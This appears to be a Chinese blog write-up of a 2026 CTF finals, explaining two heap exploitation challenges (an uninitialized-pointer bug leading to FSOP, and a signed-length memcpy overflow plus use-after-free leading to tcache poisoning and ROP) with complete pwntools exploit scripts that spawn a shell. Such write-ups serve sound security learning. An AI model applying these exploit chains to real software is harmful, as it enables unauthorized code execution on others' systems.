2026中国高校智能机器人创意大赛-软件系统安全赛全国总决赛wp by YHalo

拖延了许久才来同步,近期琐事较多,实在惭愧(其实是太懒了)

非常感谢团队每一位伙伴的并肩作战与全心投入,大家一起交出了一份不错的答卷

一路互相兜底,运气不错,最终拿到了一等奖

赛前动员

最后的总榜大屏,记录下

结束的时候发呆拍的

下面分享本人在比赛中的题目wp及复现思路

Studentmanagement

image-20260814210656376

一个学生管理登录系统

结构体

typedef struct student {
   char id[0x10];          // +0x00
   char name[0x40];        // +0x10
   char password[0x20];    // +0x50
   char *bio;              // +0x70
   size_t bio_size;        // +0x78
   struct student *next;   // +0x80
} student;

delete逻辑

image-20260815220525518

这段是在按 ID 从 student 单链表里找节点 找到后把节点摘掉 free(student->bio) free(student)

register逻辑

image-20260815221013130

可以看到注册逻辑是注册学生id,Name和pass

但是并没有初始化bio和bio_size

因为malloc不会清理旧的内容

free完再malloc的话会有残留数据bio和bio_size

edit逻辑

image-20260815222640852

关键是

bio_buf =login_user->bio;
read(0, bio_buf, new_bio_size - 1);

它默认login_user->bio是一个合法 malloc 出来的 bio 缓冲区。

但如果 bio是未初始化残留,或者被我们通过堆重叠改成目标地址,那么这里就是

向login_user->bio 指向的地址写数据,也就是任意写

view逻辑

image-20260815223105180

如果 login_user->bio 是未初始化残留指针,就会从那个地址开始当字符串打印

所以它可以泄露:heap 指针,libc 指针,甚至任意可读地址附近的数据

利用思路就是:

利用未初始化的 student->bio / bio_size,把 show 变成任意读,把 edit_bio 变成任意写,

最后改 _IO_list_all 做 FSOP getshell

先通过堆布局让新 student 继承残留 bio,拿到 heap地址

第一步拿到 heap,是为了后面知道 fake FILE 放哪里、以及构造堆上指针。

edit_bio() 会:

buf = stu->bio;
read(0, buf, new_size - 1);

如果 stu->bio是异常残留指针,并且 bio_size >= new_size,程序不会重新 malloc,而是直接往这个残留指针写。

所以 exp:

login(200)
edit_bio(0x88, p64(heap + 0x8F0) * 0x11)

意思是:

用 200->bio 这个异常写能力
覆盖一片 student 结构
把后续 student->bio 改成 heap+0x8F0

heap + 0x8F0 这个位置存着 libc 残留指针

然后:

login(401)
show()
libc.address = leak_bio_qword() - 0x203B20

就是:

401->bio 已经被改到 libc 残留处
show 打印 libc 指针
减偏移得到 libc base

到这里我们已经有:

heap base
libc base

有 libc base 后,exp 取:

_IO_list_all = libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
system = libc.sym["system"]

然后继续利用 edit_bio() 的写能力,目标变成:

_IO_list_all

先在 heap 上伪造一个 FILE 结构:

fake = heap + 0xE20

fake_file = flat({
0x00: b" sh",
0x28: p64(1),
0x68: p64(system),
0x88: p64(heap + 0x1200),
0xA0: p64(fake),
0xD8: p64(_IO_wfile_jumps),
0xE0: p64(fake),
})

然后把:

_IO_list_all

改成:

fake

最后:

menu(0)

退出程序时,libc 会 flush/close FILE 链表。

由于 _IO_list_all 指向 fake FILE,就会走伪造的 FILE 链,最终调用:

system("sh")

拿 shell

因为这个程序保护比较全传统 GOT overwrite、栈 ROP 都不舒服

但是我们最终得到的是:任意写 libc 全局变量

所以走 FSOP 改 _IO_list_all 更合适

EXP

from pwn import *
import os
import time

context.arch = "amd64"
context.log_level = "debug" if args.DEBUG else "info"

HERE = os.path.dirname(os.path.abspath(__file__))
BIN = os.path.join(HERE, "pwn")
LIBC = os.path.join(HERE, "libc.so.6")
LD = os.path.join(HERE, "ld-linux-x86-64.so.2")

libc = ELF(LIBC, checksec=False)
io = process([os.fsencode(LD), b"--library-path", os.fsencode(HERE), os.fsencode(BIN)])

if args.GDB:
gdb.attach(io)
pause()


def menu(choice):
io.sendlineafter(b"> ", str(choice).encode())


def reg(sid, name=b"a", password=b"a"):
menu(1)
io.sendlineafter(b"ID: ", str(sid).encode())
io.sendlineafter(b"Name: ", name)
io.sendlineafter(b"Pass: ", password)


def login(sid, password=b"a"):
menu(2)
io.sendlineafter(b"ID: ", str(sid).encode())
io.sendlineafter(b"Pass: ", password)


def delete(sid):
menu(3)
io.sendlineafter(b"ID to delete: ", str(sid).encode())


def edit_bio(size, data):
menu(2)
io.sendline(str(size).encode())
io.send(data)


def show():
menu(1)


def logout():
menu(0)


def leak_bio_qword():
io.recvuntil(b"Bio: ")
return u64(io.recv(6).ljust(8, b"\x00"))

for sid in range(1, 5):
reg(sid)

login(3)
edit_bio(0x10, b"a")
logout()

for sid in range(100, 107):
reg(sid)

login(1)
edit_bio(0x80, b"a")
logout()

reg(5)
for sid in range(100, 106):
delete(sid)
for sid in (2, 1, 5, 106):
delete(sid)

for sid in range(200, 208):
reg(sid)

for sid in (200, 3):
login(sid)
edit_bio(0x10, b"a")
logout()

reg(514)
for sid in range(300, 305):
reg(sid)

for sid in range(200, 208):
delete(sid)

login(514)
show()
heap = leak_bio_qword() - 0xBD0
log.success(f"heap = {heap:#x}")
logout()

for sid in range(200, 208):
reg(sid)

login(200)
edit_bio(0x88, p64(heap + 0x8F0) * 0x11)
logout()
logout()

delete(200)
reg(400)
reg(401)

login(401)
show()
libc.address = leak_bio_qword() - 0x203B20
log.success(f"libc = {libc.address:#x}")
logout()
reg(403)
login(403)
io_list_all = libc.sym["_IO_list_all"]
wfile_jumps = libc.sym["_IO_wfile_jumps"]
system = libc.sym["system"]
edit_bio(0x80, p64(io_list_all) * 0x10)
logout()
logout()

reg(404)
login(404)
fake_file = heap + 0xE20
fake_file_payload = flat(
{
0x00: b" sh",
0x28: p64(1),
0x68: p64(system),
0x88: p64(heap + 0x1200),
0xA0: p64(fake_file),
0xD8: p64(wfile_jumps),
0xE0: p64(fake_file),
},
filler=b"\x00",
)
edit_bio(0x200, fake_file_payload)
logout()

delete(403)
reg(405)
reg(406)

login(406)
edit_bio(0x10, p64(fake_file))
logout()

log.success(f"_IO_list_all = {io_list_all:#x}")


menu(0)

io.interactive()

Traditional

image-20260722233035505

一道菜单堆题

直接输入数字会直接导致程序终止,因为输入都要经过base64解码

解码为空或者解码失败都不会将输入转为十进制choice

给的还是自定义的base64:

image-20260801222003854

注意到题目还给了一个隐藏的菜单选项7,功能是可以将某个chunk的内容copy到另一个chunk

image-20260802171850584
image-20260802173836218

漏洞在于这个选项长度检查用了有符号 int,但 memcpy的长度语义是无符号 size_t

如果 len 是超大无符号大数,强转成 signed int 会变成负数;

正数 size ≥ 负数永远成立,size 校验直接失效

哪怕目标缓冲区很小,也能超大长度 memcpy,造成堆溢出

image-20260802174801024

利用unsorted bin泄露main_arena地址

image-20260804002332434

main_arena在libc中的偏移

image-20260804002347524

进而得到libc地址,然后找environ偏移

image-20260814002905810

还有一个利用点在delete的实现部分

image-20260813232933444

假设传入参数 raw_idx = 0x8E,就是0x80 | 14,高4位0x8,低4位14

idx = raw_idx& 0x80= 0x80(非 0)

raw_idx &= 15就是 0x8E & 0xF = 14

free(chunk_manage_array[14].ptr)释放了原本在 14位置上的 chunk(即 Chunk A)

chunk_manage_array[14].ptr = nullptr就是清空 14 的指针

然后进入 if条件平移数组:

条件raw_idx<= 14(14 <=14 成立) && idx!= 0(成立)&& global_delete_flag == 0(成立)

循环体执行(for (i = 14; i <= 14; ++i)):

chunk_manage_array[14].ptr = chunk_manage_array[15].ptr;

就造成了程序把 15号槽位的指针(Chunk B)覆盖写到了 14号槽位上,循环结束后,14号槽位现在指向了 Chunk B

但是 15号槽位完全没有被清空,chunk_manage_array[15]依然保存着指向 Chunk B 的指针

此时,14和 15同时指向 Chunk B

接下来 exp 再调用一次正常的 delete(14),就把 Chunk B 给 free了,而 15号槽位依然握着指向已被 free的 Chunk B 的指针,至此 UAF 形成

但因为有global_delete_flag,所以这个方法只能用一次,

然后用UAF将tcache投毒到libc.sym.environ-0x18,读栈地址,并计算出目标函数返回地址

copy 负长度漏洞改第二个 freed chunk 的 fdmalloc 到 saved rbp,写 ROP

最后quit 触发 execve(“/bin/sh”, 0, 0)

EXP

from pwn import *
import base64
import time
context(arch='amd64', os='linux',log_level='debug')
context.terminal=['cmd.exe','/c','start','cmd.exe','/k','wsl.exe','bash','-lc']
std=b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
custom=b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'
enc_table=bytes.maketrans(std,custom)
def base64enc(data):
   return base64.b64encode(data).translate(enc_table)

def base64num(num):
   s=str(num).encode()
   return base64.b64encode(s).translate(enc_table)

io=process('./traditional')
elf=ELF('./traditional')
libc = ELF('./libc.so.6')

def add(size,idx):
   io.sendlineafter(b'choice: ', base64enc(b'1'))
   io.sendline(base64num(size))
   io.sendline(base64num(idx))
def edit(idx,content):
   io.sendlineafter(b'choice: ', base64enc(b'2'))
   io.sendline(base64num(idx))
   io.sendline(base64enc(content))
def show(idx):
   io.sendlineafter(b'choice: ', base64enc(b'3'))
   io.sendline(base64num(idx))
   data=io.recvuntil(b"[DONE] handle_show",drop=True)
   return data
def delete(idx):
   io.sendlineafter(b'choice: ', base64enc(b'4'))
   io.sendline(base64num(idx))
def quit():
   io.sendlineafter(b'choice: ', base64enc(b'5'))
def copy(src,dst,len):
   io.sendlineafter(b'choice: ', base64enc(b'7'))
   io.sendline(base64num(src))
   io.sendline(base64num(dst))
   io.sendline(base64num(len))


for i in range(8):
   add(0x100,i)

for i in range(1,8):
   delete(i)
delete(0)
for i in range(1, 8):
   add(0x100, i)

add(0x100,0)
data=show(0)
leak=u64(data[:6].ljust(8,b'\x00'))
libc.address=leak-0x233c20
log.success(f'libc base={libc.address:#x}')

data=show(7)
heap=u64(data[:5].ljust(8,b'\x00'))<<12
log.success(f'heap base={heap:#x}')

add(0x380,14)
add(0x380,15)
delete(0x80|14)
delete(14)

uaf_chunk=heap+0xf20
old_fd=u64(show(15)[:8].ljust(8,b'\x00'))
assert old_fd == ((uaf_chunk-0x390) ^ (uaf_chunk>>12))
log.success(f'uaf chunk={uaf_chunk:#x}')


environ=libc.address+0x23ae28
target=environ-0x18
edit(15,p64(target ^ (uaf_chunk>>12)))
add(0x380,14)
add(0x380,13)


edit(1,b'A'*0x30)
copy(1,13,0x18)#非零字符填充前缀
data=show(13)
stack=u64(data[0x18:0x18+6].ljust(8,b'\x00'))
log.success(f'stack={stack:#x}')
gdb.attach(io)
pause()

stack_target=stack-0x148
log.success(f'saved rbp target={stack_target:#x}')


add(0xc0,8)
add(0xa0,9)
add(0x100,10)
add(0x100,11)
add(0xa0,12)

victim=uaf_chunk+0x460
log.success(f'victim chunk={victim:#x}')


edit(10,b'B'*0x60+p64(stack_target ^ (victim>>12)))
delete(12)
delete(9)
copy(11,10,0xfffffff0)

add(0xa0,9)
add(0xa0,12)

ret=libc.address+0x28842
pop_rdi=libc.address+0x11b87a
pop_rsi=libc.address+0x5c207
pop_rdx=libc.address+0x48c92
bin_sh=libc.address+0x1db4c3
execve=libc.address+0xf86c0

payload=p64(0)+flat(
   ret,
   pop_rdi,bin_sh,
   pop_rsi,0,
   pop_rdx,0,
   execve
)
edit(12,payload)
quit()
io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇